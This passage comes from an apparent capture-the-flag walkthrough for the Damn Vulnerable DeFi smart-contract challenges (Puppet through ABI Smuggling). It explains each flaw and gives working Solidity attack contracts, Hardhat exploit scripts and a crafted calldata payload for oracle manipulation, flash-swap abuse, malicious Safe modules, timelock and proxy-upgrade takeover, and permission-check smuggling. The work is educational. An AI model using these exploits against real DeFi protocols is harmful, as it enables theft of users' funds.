  • We calculate how much ETH as collateral we need to be able to borrow one DVT token.
  • We calculate how much token we can borrow from the pool given the amount of ETH that we have in our balance.
  • And we call lendingPool.borrow() to borrow all the available DVTs by manipulating the oracle with low price of DVTs.
AttackPuppet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapExchangeV1 {
    function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient)
        external returns (uint256);
}
interface IPool { function borrow(uint256 amount, address recipient) external payable; }

contract AttackPuppet {
    uint256 constant SELL_DVT_AMOUNT = 1000 ether;
    uint256 constant DEPOSIT_FACTOR = 2;
    uint256 constant BORROW_DVT_AMOUNT = 100000 ether;

    IUniswapExchangeV1 immutable exchange;
    IERC20 immutable token;
    IPool immutable pool;
    address immutable player;

    constructor(address _token, address _pair, address _pool) {
        token = IERC20(_token);
        exchange = IUniswapExchangeV1(_pair);
        pool = IPool(_pool);
        player = msg.sender;
    }

    function attack() external payable {
        require(msg.sender == player);

        // Dump DVT to the Uniswap pool to crash the price
        token.approve(address(exchange), SELL_DVT_AMOUNT);
        exchange.tokenToEthTransferInput(SELL_DVT_AMOUNT, 9, block.timestamp, address(this));

        uint256 price = address(exchange).balance * (10 ** 18) / token.balanceOf(address(exchange));
        uint256 depositRequired = BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR / 10 ** 18;

        pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
    }

    receive() external payable {}
}
puppet.challenge.js
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    [,, this.player2] = await ethers.getSigners();

    const AttackerContractFactory = await ethers.getContractFactory('AttackPuppet', this.player2);
    this.attackerContract = await AttackerContractFactory.deploy(
        token.address, uniswapExchange.address, lendingPool.address
    );

    token.connect(player).transfer(this.attackerContract.address, PLAYER_INITIAL_TOKEN_BALANCE);
    await this.attackerContract.attack({ value: 11n * 10n ** 18n });
    await token.connect(this.player2).transfer(player.address, await token.balanceOf(this.player2.address));
});
Run
$ yarn run puppet

09 Puppet V2

Contracts
PuppetV2Pool.sol
Goal
  • Now they're using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
  • You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.
Solution
  • It is similar to the Puppet contract but in puppet-v2 it uses Uniswap-V2 exchange to compute the oracle price.
  • The smart contract PuppetV2Pool allows borrowing tokens against WETH collateral, using the Uniswap V2 exchange for price information. Users can deposit WETH and borrow the DVT token by collateral requirements and calculations defined in the contract.
  • borrow() function of this contract is to allow users to borrow the DVT token by first depositing three times the value of the borrowed tokens in WETH.
  • calculateDepositOfWETHRequired(uint256 tokenAmount) used to calculate the amount of WETH required to borrow a given amount of the specified token. This calculation takes into account a deposit factor of 3 and fetches the price ratio between WETH and the specified token from the Uniswap V2 pair liquidity.
  • The contract uses the Uniswap V2 library to obtain price quotes from the Uniswap V2 exchange, allowing it to determine the price ratio between WETH and the DVT tokens.
  • The vulnerability in the Puppet V2 challenge lies in the way the contract fetches the price of the DVT token. It relies on a function called _getOracleQuote(uint256 amount), which calculates the price of the token using the current liquidity pair contract reserves:
    // Fetch the price from Uniswap v2 using the official libraries
    function _getOracleQuote(uint256 amount) private view returns (uint256) {
      (uint256 reservesWETH, uint256 reservesToken) =
          UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token));
      return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
    }
  • The reserves can't be manipulated through flashSwap, but they can be manipulated through external capital that can be either owned by the attacker or utilized using a FlashLoan from another protocol.
  • Exploiting the PuppetV2Pool:
    • The liquidity pool starts with 100 DVT tokens and 10 WETH.
    • We will dump all our 10,000 DVT tokens to the liquidity pool, we will receive around 9 ETH.
    • By dumping our tokens we significantly reduce the DVT price in the uniswap-v2 pool.
    • We will deposit our ETH that we got from the sale that that we had in the beginning into the PuppetV2 pool as our collateral.
    • Now since the DVT price is very low — with around 20 ETH we can borrow all the 100,000 DVT tokens from the pool using borrow() function.
AttackPuppetV2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapV2Router {
    function WETH() external pure returns (address);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external returns (uint[] memory amounts);
}
interface IPool {
    function borrow(uint256 amount) external;
    function calculateDepositOfWETHRequired(uint256 tokenAmount) external view returns (uint256);
}
interface IWETH is IERC20 { function deposit() external payable; }

contract AttackPuppetV2 {
    uint256 private constant DUMP_DVT_AMOUNT = 10000 ether;
    uint256 private constant BORROW_DVT_AMOUNT = 1000000 ether;

    address private immutable player;
    IPool private immutable pool;
    IUniswapV2Router private immutable router;
    IERC20 private immutable token;
    IWETH private immutable weth;

    constructor(address _pool, address _router, address _token) {
        player = msg.sender;
        pool = IPool(_pool);
        router = IUniswapV2Router(_router);
        token = IERC20(_token);
        weth = IWETH(router.WETH());
    }

    function attack() external payable {
        require(msg.sender == player);

        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);

        token.approve(address(router), DUMP_DVT_AMOUNT);
        router.swapExactTokensForTokens(DUMP_DVT_AMOUNT, 9 ether, path, address(this), block.timestamp);

        weth.deposit{value: address(this).balance}();

        uint256 requiredWeth = pool.calculateDepositOfWETHRequired(BORROW_DVT_AMOUNT);
        weth.approve(address(pool), weth.balanceOf(address(this)));
        pool.borrow(BORROW_DVT_AMOUNT);

        token.transfer(player, token.balanceOf(address(this)));
        weth.transfer(player, weth.balanceOf(address(this)));
    }

    receive() external payable {}
}
puppet-v2.challenge.js
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const AttackerContractFactory = await ethers.getContractFactory("AttackPuppetV2", player);
    this.attackerContract = await AttackerContractFactory.deploy(
        lendingPool.address, uniswapRouter.address, token.address
    );

    await token.connect(player).transfer(this.attackerContract.address, PLAYER_INITIAL_TOKEN_BALANCE);
    await this.attackerContract.attack({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
});
Run
$ yarn run puppet-v2

10 Free Rider

Contracts
FreeRiderNFTMarketplace.sol FreeRiderRecovery.sol
Goal
  • A new marketplace of Damn Valuable NFTs has been released! There's been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
  • The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they're offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.
  • You've agreed to help. Although, you only have 0.1 ETH in balance. The devs just won't reply to your messages asking for more. If only you could get free ETH, at least for an instant.
Solution
  • At first we flash swap with 15 WETH from uniswap-v2 pair contract using pair.swap(amount want, min amount, WETH receiver, calldata);
  • NOTE: while doing a swap in uniswap-v2 we trigger the uniswapV2Call() callback function.
  • After getting WETH we convert the WETH to native eth using weth.withdraw(amount);
  • Buy the NFTs from FreeRiderMarketplace, where there is a bug that it takes only 15 eth for all NFTs.
  • We have 0.5 native eth, with that we convert native eth to WETH with fees.
  • After that we repay the WETH in that flash swap with fee of 0.3%.
  • After buying all 6 NFTs with only 15 eth, we sent all the tokens to FreeRiderRecovery and get the Bounty of 45 eth.
  • NOTE: After receiving a NFT the onERC721Received fallback is called, here we have to return the fallback selector.
AttackFreeRider.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IMarketplace { function buyMany(uint256[] calldata tokenIds) external payable; }

contract AttackFreeRider {
    IUniswapV2Pair private immutable pair;
    IMarketplace private immutable marketplace;
    IWETH private immutable weth;
    IERC721 private immutable nft;
    address private immutable recoveryContract;
    address private immutable player;

    uint256 private constant NFT_PRICE = 15 ether;
    uint256[] private tokens = [0, 1, 2, 3, 4, 5];

    constructor(address _pair, address _marketplace, address _weth, address _nft, address _recoveryContract) {
        pair = IUniswapV2Pair(_pair);
        marketplace = IMarketplace(_marketplace);
        weth = IWETH(_weth);
        nft = IERC721(_nft);
        recoveryContract = _recoveryContract;
        player = msg.sender;
    }

    function attack() external payable {
        bytes memory data = abi.encode(NFT_PRICE);
        pair.swap(NFT_PRICE, 0, address(this), data);
    }

    function uniswapV2Call(address, uint, uint, bytes calldata) external {
        require(msg.sender == address(pair));
        require(tx.origin == player);

        weth.withdraw(NFT_PRICE);
        marketplace.buyMany{value: NFT_PRICE}(tokens);

        uint256 amountToPayBack = NFT_PRICE * 1004 / 1000;
        weth.deposit{value: amountToPayBack}();
        weth.transfer(address(pair), amountToPayBack);

        bytes memory data = abi.encode(player);
        for (uint256 i; i < tokens.length; i++) {
            nft.safeTransferFrom(address(this), recoveryContract, i, data);
        }
    }

    function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}
free-rider.challenge.js
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
    this.attackerContract = await FreeRiderAttacker.deploy(
        uniswapPair.address, marketplace.address, weth.address, nft.address, devsContract.address
    );
    await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
});
Run
$ yarn run free-rider

11 Backdoor

Contracts
WalletRegistry.sol
Goal
  • To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
  • To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
  • Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
  • Your goal is to take all funds from the registry. In a single transaction.
Solution
  • In this challenge, we have single smart contract, WalletRegistry.sol which functions as a registry for Gnosis Safe wallets. Its primary objective is to register their Gnosis Safe wallets and rewarding them with 10 Damn Valuable Tokens (DVT) for each registered wallet.
  • It is essential to understand the Gnosis Safe proxy creation process.
  • Deploy Malicious Contract: Initially, we create a new malicious contract. Subsequently, we trigger the Gnosis Safe Factory contract, executing the createProxyWithCallback() function.
  • Create Gnosis Safe Proxy: The factory, in response, deploys a Gnosis Safe Proxy, pointing to the masterCopy implementation.
  • Execute Malicious Module: The setup function is automatically executed within the new proxy, allowing our malicious module within the MaliciousApprove contract to grant approval for our attacker contract to manage DVT tokens on behalf of the new Safe Proxy.
  • Callback Execution: The callback function is activated, calling the WalletRegistry, which performs a series of validations and checks.
  • DVT Token Transfer: Since all the checks passed, the WalletRegistry facilitates the transfer of DVT tokens to the Safe Proxy.
  • Token Theft: Leveraging the previously obtained allowance, we execute the transferFrom() function to steal the DVT tokens from the Safe.
AttackBackdoor.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../backdoor/WalletRegistry.sol";

interface IGnosisFactory {
    function createProxyWithCallback(address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback)
        external returns (GnosisSafeProxy proxy);
}

contract MaliciousApprove {
    function approve(address attacker, IERC20 token) public {
        token.approve(attacker, type(uint256).max);
    }
}

contract AttackBackdoor {
    WalletRegistry private immutable walletRegistry;
    IGnosisFactory private immutable factory;
    GnosisSafe private immutable masterCopy;
    IERC20 private immutable token;
    MaliciousApprove private immutable maliciousApprove;

    constructor(address _walletRegistry, address[] memory users) {
        walletRegistry = WalletRegistry(_walletRegistry);
        masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
        factory = IGnosisFactory(walletRegistry.walletFactory());
        token = IERC20(walletRegistry.token());
        maliciousApprove = new MaliciousApprove();

        bytes memory initializer;
        address[] memory owners = new address[](1);
        address wallet;

        for (uint256 i; i < users.length; i++) {
            owners[0] = users[i];
            initializer = abi.encodeCall(GnosisSafe.setup, (
                owners, 1, address(maliciousApprove),
                abi.encodeCall(maliciousApprove.approve, (address(this), token)),
                address(0), address(0), 0, payable(address(0))
            ));
            wallet = address(factory.createProxyWithCallback(address(masterCopy), initializer, 0, walletRegistry));
            token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
        }
    }
}
backdoor.challenge.js
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
    this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users);
});
Run
$ yarn run backdoor

12 Climber

Contracts
ClimberTimelock.sol ClimberVault.sol
Goal
  • There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.
  • The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days. On the vault there's an additional role with powers to sweep all tokens in case of an emergency.
  • On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.
  • To pass this challenge, take all tokens from the vault.
Solution
  • Exploring the contracts:
    • ClimberConstants.sol: All the storage constant values are stored in this contract.
    • ClimberErrors.sol: All the user defined Errors are stored in this contract.
    • ClimberTimelock.sol: This contract mimics the OpenZeppelin Timelock controller implementation. Allow the execution of a bulk of operations only if those operations have been previously scheduled and a specific delay has passed. Operations are executed via a low-level call.
    • ClimberTimelockBase.sol: It is an abstract contract for ClimberTimelock contract.
    • ClimberVault.sol: The ClimberVault is the vault contract where all the DVT token are stored. It is an upgradable contract accessed via a Proxy Contract. The contract inherit from the OpenZeppelin UUPSUpgradeable contract implementation.
  • Essentially the bug here is in the Timelock Contract during the execute() function.
  • Firstly, it allows anyone to call it which gives us an entry point. Secondly it executes the given commands, BEFORE checking that it is ready for execution.
  • This means that we are able to schedule the command we are performing at the same time as doing it so that once we complete our actions, the operation we just performed was a valid operation ready for execution.
  • So we have to follow these commands to schedule our own actions in order:
    1. Set the Timelock Contract to have the PROPOSER role.
    2. Update delay of schedule execution to 0 to allow immediate execution.
    3. Call to Vault contract to upgrade to malicious attacker controlled contract which allows setting the sweeper to anyone.
    4. Call to another attacker controlled contract to handle the scheduling and sweeping.
  • Once we generate the to and data values for the 4 calls above, we will need to pass that to our attacking contract to store so we don't run into recursive issues.
  • This comes from the timelock contract being unable to schedule calls itself, nor being able to pass the execution data to the contract at runtime as it will also run into recursion issues.
  • Then once the attacker controlled contract sweeps the funds, we run a withdraw() on the contract to take the funds.
AttackTimelock.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./AttackVault.sol";
import "../../DamnValuableToken.sol";
import "../../climber/ClimberTimelock.sol";

contract AttackTimelock {
    address vault;
    address payable timelock;
    address token;
    address owner;

    bytes[] private scheduleData;
    address[] private to;

    constructor(address _vault, address payable _timelock, address _token, address _owner) {
        vault = _vault; timelock = _timelock; token = _token; owner = _owner;
    }

    function setScheduleData(address[] memory _to, bytes[] memory data) external {
        to = _to; scheduleData = data;
    }

    function exploit() external {
        uint256[] memory emptyData = new uint256[](to.length);
        ClimberTimelock(timelock).schedule(to, emptyData, scheduleData, 0);
        AttackVault(vault).setSweeper(address(this));
        AttackVault(vault).sweepFunds(token);
    }

    function withdraw() external {
        require(msg.sender == owner, "not owner");
        DamnValuableToken(token).transfer(owner, DamnValuableToken(token).balanceOf(address(this)));
    }
}
climber.challenge.js (excerpt)
it("Exploit", async function () {
    // Deploy attacker + malicious vault implementation
    const attackContract = await (await ethers.getContractFactory("AttackTimelock", player)).deploy(
        vault.address, timelock.address, token.address, player.address
    );
    const maliciousVaultContract = await (await ethers.getContractFactory("AttackVault", player)).deploy();

    const PROPOSER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("PROPOSER_ROLE"));
    const iface = (sig, fn, args) => new ethers.utils.Interface(sig).encodeFunctionData(fn, args);

    const grantRoleData  = iface(["function grantRole(bytes32 role, address account)"], "grantRole", [PROPOSER_ROLE, attackContract.address]);
    const updateDelayData = iface(["function updateDelay(uint64 newDelay)"], "updateDelay", [0]);
    const upgradeData    = iface(["function upgradeTo(address newImplementation)"], "upgradeTo", [maliciousVaultContract.address]);
    const exploitData    = iface(["function exploit()"], "exploit", undefined);

    const toAddress = [timelock.address, timelock.address, vault.address, attackContract.address];
    const data = [grantRoleData, updateDelayData, upgradeData, exploitData];

    await attackContract.setScheduleData(toAddress, data);
    await timelock.connect(player).execute(toAddress, Array(data.length).fill(0), data, ethers.utils.hexZeroPad("0x00", 32));
    await attackContract.withdraw();
});
Run
$ yarn run climber

13 Wallet Mining

Contracts
WalletDeployer.sol AuthorizerUpgradeable.sol
Goal
  • There's a contract that incentivizes users to deploy Gnosis Safe wallets, rewarding them with 1 DVT. It integrates with an upgradeable authorization mechanism. This way it ensures only allowed deployers (a.k.a. wards) are paid for specific deployments. Mind you, some parts of the system have been highly optimized by anon CT gurus.
  • The deployer contract only works with the official Gnosis Safe factory at 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B and corresponding master copy at 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F. Not sure how it's supposed to work though - those contracts haven't been deployed to this chain yet.
  • In the meantime, it seems somebody transferred 20 million DVT tokens to 0x9b6fb606a9f5789444c17768c6dfcf2f83563801. Which has been assigned to a ward in the authorization contract. Strange, because this address is empty as well.
  • Pass the challenge by obtaining all tokens held by the wallet deployer contract. Oh, and the 20 million DVT tokens too.
Solution
  • The deposit address is a counterfactual Gnosis Safe — by replaying the exact factory/master-copy deployment nonce sequence you can deploy the Safe to that precise address, become its owner, and move the 20M DVT.
  • The authorizer's storage can be initialized by the player (uninitialized proxy), authorizing the player to collect deployer rewards by deploying wallets.
wallet-mining.challenge.js
const { ethers, upgrades } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Wallet mining', function () {
    let deployer, player;
    let token, authorizer, walletDeployer;
    let initialWalletDeployerTokenBalance;
    
    const DEPOSIT_ADDRESS = '0x9b6fb606a9f5789444c17768c6dfcf2f83563801';
    const DEPOSIT_TOKEN_AMOUNT = 20000000n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [ deployer, ward, player ] = await ethers.getSigners();

        // Deploy Damn Valuable Token contract
        token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();

        // Deploy authorizer with the corresponding proxy
        authorizer = await upgrades.deployProxy(
            await ethers.getContractFactory('AuthorizerUpgradeable', deployer),
            [ [ ward.address ], [ DEPOSIT_ADDRESS ] ], // initialization data
            { kind: 'uups', initializer: 'init' }
        );
        
        expect(await authorizer.owner()).to.eq(deployer.address);
        expect(await authorizer.can(ward.address, DEPOSIT_ADDRESS)).to.be.true;
        expect(await authorizer.can(player.address, DEPOSIT_ADDRESS)).to.be.false;

        // Deploy Safe Deployer contract
        walletDeployer = await (await ethers.getContractFactory('WalletDeployer', deployer)).deploy(
            token.address
        );
        expect(await walletDeployer.chief()).to.eq(deployer.address);
        expect(await walletDeployer.gem()).to.eq(token.address);
        
        // Set Authorizer in Safe Deployer
        await walletDeployer.rule(authorizer.address);
        expect(await walletDeployer.mom()).to.eq(authorizer.address);

        await expect(walletDeployer.can(ward.address, DEPOSIT_ADDRESS)).not.to.be.reverted;
        await expect(walletDeployer.can(player.address, DEPOSIT_ADDRESS)).to.be.reverted;

        // Fund Safe Deployer with tokens
        initialWalletDeployerTokenBalance = (await walletDeployer.pay()).mul(43);
        await token.transfer(
            walletDeployer.address,
            initialWalletDeployerTokenBalance
        );

        // Ensure these accounts start empty
        expect(await ethers.provider.getCode(DEPOSIT_ADDRESS)).to.eq('0x');
        expect(await ethers.provider.getCode(await walletDeployer.fact())).to.eq('0x');
        expect(await ethers.provider.getCode(await walletDeployer.copy())).to.eq('0x');

        // Deposit large amount of DVT tokens to the deposit address
        await token.transfer(DEPOSIT_ADDRESS, DEPOSIT_TOKEN_AMOUNT);

        // Ensure initial balances are set correctly
        expect(await token.balanceOf(DEPOSIT_ADDRESS)).eq(DEPOSIT_TOKEN_AMOUNT);
        expect(await token.balanceOf(walletDeployer.address)).eq(
            initialWalletDeployerTokenBalance
        );
        expect(await token.balanceOf(player.address)).eq(0);
    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
    });

    after(async function () {
        /** SUCCESS CONDITIONS */

        // Factory account must have code
        expect(
            await ethers.provider.getCode(await walletDeployer.fact())
        ).to.not.eq('0x');

        // Master copy account must have code
        expect(
            await ethers.provider.getCode(await walletDeployer.copy())
        ).to.not.eq('0x');

        // Deposit account must have code
        expect(
            await ethers.provider.getCode(DEPOSIT_ADDRESS)
        ).to.not.eq('0x');
        
        // The deposit address and the Safe Deployer contract must not hold tokens
        expect(
            await token.balanceOf(DEPOSIT_ADDRESS)
        ).to.eq(0);
        expect(
            await token.balanceOf(walletDeployer.address)
        ).to.eq(0);

        // Player must own all tokens
        expect(
            await token.balanceOf(player.address)
        ).to.eq(initialWalletDeployerTokenBalance.add(DEPOSIT_TOKEN_AMOUNT)); 
    });
});
Run
$ yarn run wallet-mining

14 Puppet V3

Contracts
PuppetV3Pool.sol
Goal
  • In the latest version, they're using Uniswap V3 as an oracle. That's right, no longer using spot prices! This time the pool queries the time-weighted average price of the asset, with all the recommended libraries.
  • The Uniswap market has 100 WETH and 100 DVT in liquidity. The lending pool has a million DVT tokens.
  • Starting with 1 ETH and some DVT, pass this challenge by taking all tokens from the lending pool.
  • NOTE: unlike others, this challenge requires you to set a valid RPC URL in the challenge's test file to fork mainnet state into your local environment.
Solution
  • Exploit is very similar to Puppet-V2 except this uses Uniswap's V3 Time Weighted Average Price (TWAP) to calculate the price. We also need to connect to Uniswap's Router to make our lives easier.
  • A TWAP (Time Weighted Average Price) is like a simple moving average except that times where the price stayed the same longer get more weight — a TWAP weights price by how long the price stays at a certain level.
    TWAP illustration
  • This can be exploited if the TWAP period is short enough that it is still susceptible to short term volatility.
  • We make a trade buying all WETH in the pool, heavily devaluing the DVT token relative to the WETH token.
  • However if we were to get the price directly after the trade, the price would still be 1:1 since the new price has a Time Weight of 0.
  • So we need to wait a few minutes for the TWAP to move to an appropriate price (100 seconds) then call the lending pool which then uses the heavily devalued price.
  • borrow() allows borrowing borrowAmount of tokens by first depositing three times their value in WETH. Sender must have approved enough WETH in advance. Calculations assume that WETH and the borrowed token have the same number of decimals.
  • calculateDepositOfWETHRequired() returns the amount of WETH we have to deposit to get the DVT tokens for borrowing.
  • _getOracleQuote() gets the quote amount from the Uniswap-v3 oracle library.
puppet-v3.challenge.js (excerpt)
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const uniswapRouter = new ethers.Contract(
        "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45", routerJson.abi, player);

    await token.connect(player).approve(uniswapRouter.address, PLAYER_INITIAL_TOKEN_BALANCE);
    await uniswapRouter.exactInputSingle(
        [token.address, weth.address, 3000, player.address, PLAYER_INITIAL_TOKEN_BALANCE, 0, 0],
        { gasLimit: 1e7 }
    );

    await time.increase(100); // let the TWAP drift

    const quote = await lendingPool.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
    await weth.connect(player).approve(lendingPool.address, quote);
    await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
});
Run
$ yarn run puppet-v3

15 ABI Smuggling

Contracts
SelfAuthorizedVault.sol AuthorizedExecutor.sol
Goal
  • There's a permissioned vault with 1 million DVT tokens deposited. The vault allows withdrawing funds periodically, as well as taking all funds out in case of emergencies.
  • The contract has an embedded generic authorization scheme, only allowing known accounts to execute specific actions.
  • The dev team has received a responsible disclosure saying all funds can be stolen.
  • Before it's too late, rescue all funds from the vault, transferring them back to the recovery account.
Solution
  • Exploring the contracts:
    • AuthorizedExecutor.sol: It is an abstract contract which executes the functions using low level calls.
    • SelfAuthorizedVault.sol: Contract which has 1 Million DVT tokens locked in contract.
  • Here we call execute() function and passing target as SelfAuthorizedVault contract address and inside the data parameter we call sweepFunds() to recover all the DVT tokens inside the SelfAuthorizedVault contract.
  • Before executing the transaction we have to setPermissions() for sweepFunds(), caller and SelfAuthorizedVault address. Here setPermissions() can be called by anyone as it is an external function.
  • When having dynamically-allocated types, you need to specify the size, length, or quantity (in a 32 bytes segment) of the expected elements to let the contract know up to what point extends a structure. And immediately afterward comes the content.
  • Now, the position of that combination (size, content) is not arbitrary. It is previously defined by a 32 bytes segment that contains its offset (in bytes).
  • execute() verifies a 4-byte selector at a fixed calldata position (bytes 100), but the actionData offset is attacker-controlled.
  • Keep an authorized selector (withdraw's 0xd9caed12) at the checked position, then point actionData to a separately-crafted region holding the real sweepFunds() call.
  • The permission check passes on the decoy selector while sweepFunds() gets smuggled and executed, draining the vault to recovery.
  • Have the following 4 bytes after 100th position (4 + 32 * 3) occupied with a function selector authorized for the caller. In our case, player is authorized to use withdraw.
  • Immediately afterward, actionData's size and content, containing the working calldata (sweepFunds) to drain the vault to the recovery address.
  • Point actionData's beginning to the new position. Fill the freed space in between with zeroes.
0x1cff79cd                                                              => execute() selector
000000000000000000000000e7f1725E7734CE288F8367e1Bb143E90bb3F0512        => vault address
0000000000000000000000000000000000000000000000000000000000000080        => actionData offset = 0x80
0000000000000000000000000000000000000000000000000000000000000000        => zero padded
d9caed1200000000000000000000000000000000000000000000000000000000        => withdraw selector (checked @ byte 100)
0000000000000000000000000000000000000000000000000000000000000044        => actionData length
85fb709d                                                                => sweepFunds selector
0000000000000000000000003C44CdDdB6a900fa2b585dd299e03d12FA4293BC        => recovery address
0000000000000000000000005FbDB2315678afecb367f032d93F642f64180aa3        => DVT token address
abi-smuggling.challenge.js
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const executeFs = vault.interface.getSighash("execute");
    const target = ethers.utils.hexZeroPad(vault.address, 32).slice(2);
    const bytesLocation = ethers.utils.hexZeroPad("0x80", 32).slice(2);
    const withdrawSelector = vault.interface.getSighash("withdraw").slice(2);
    const bytesLength = ethers.utils.hexZeroPad("0x44", 32).slice(2);
    const sweepSelector = vault.interface.getSighash("sweepFunds").slice(2);
    const sweepFundsData = ethers.utils.hexZeroPad(recovery.address, 32).slice(2)
                         + ethers.utils.hexZeroPad(token.address, 32).slice(2);

    const payload = executeFs + target + bytesLocation
        + ethers.utils.hexZeroPad("0x0", 32).slice(2)
        + withdrawSelector + ethers.utils.hexZeroPad("0x0", 28).slice(2)
        + bytesLength + sweepSelector + sweepFundsData;

    await player.sendTransaction({ to: vault.address, data: payload });
});
Run
$ yarn run abi-smuggling

References